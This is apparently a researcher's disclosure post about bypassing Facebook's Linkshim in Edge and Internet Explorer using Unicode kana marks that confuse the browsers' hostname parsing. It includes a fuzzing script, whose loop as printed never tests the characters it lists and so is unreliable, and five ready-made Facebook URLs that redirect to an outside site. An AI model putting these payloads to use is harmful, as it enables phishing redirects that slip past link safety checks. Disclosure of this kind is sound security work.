Exploiting odd behaviors in MS Edge & IE to bypass Facebook’s Linkshim

The following post is inspired by an all charset unicode shazz by @insertscript. After I saw it being referred in a tweet by Gareth Heyes, I immediately started fuzzing for more characters Internet Explorer & MS Edge may interpret horribly, and confuse the anchor host parser to ultimately use and bypass Facebook's Linkshim.

Fuzzing:

<a href=”/[$]example.com” id=”fuzzmeiah”>fuzz</a>
<script>

chars = [];
for(i=0;i<=0xffff;i++){
    if(document.getElementById('fuzzmeiah').hostname==”example.com”) {
      chars.push(i);
      console.log(chars.join('\n'))
     }
}

</script>

Result:

Character 1: 〱- 'VERTICAL KANA REPEAT MARK' (Ux3031)

The first one works for both IE & Edge is 0xE3 0x80 0xB1 (e380b1 aka 〱) , when plugged alone or after a forward slash, confusing the parsers to misinterpret the hostname.

<a href=”/〱example.com” id=”fuzzmeiah”>fuzz</a>

This can be tested in both MS Edge and Internet Explorer by changing links Facebook expects to be relative URIs and thus not passing them to a linkshim validation endpoint, allowing redirection to a blacklisted site (in this example, user must click on continue or cancel)

https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2F%E3%80%B1evilzone.org

Character 2: 〵- 'VERTICAL KANA REPEAT MARK LOWERHALF' (Ux3035)

https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2F〵evilzone.org

Character 3: ゝ- 'HIRAGANA ITERATION MARK' (0x309d)

POC: https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2Fゝevilzone.org

Character 4: ー 'KATAKANA-HIRAGANA PROLONGED SOUND MARK' (0x30fc)

POC: https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2Fーevilzone.org

Character 5: ｰ 'HALFWIDTH KATAKANA-HIRAGANA PROLONGED SOUND MARK' (0xff70)

POC: https://mbasic.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=%2Fｰevilzone.org

This specific issue is not fixed by Facebook as they believe it is more of the browser vendors fault and shouldn't be fixed from their side. Even though I disagree with their decision, I believe a very few percent of Facebook users use IE or Edge so I didn't bother trying to change their mind. I hope this post inspires either Microsoft or Facebook to fix this issue though.

I hope you enjoyed the read. =)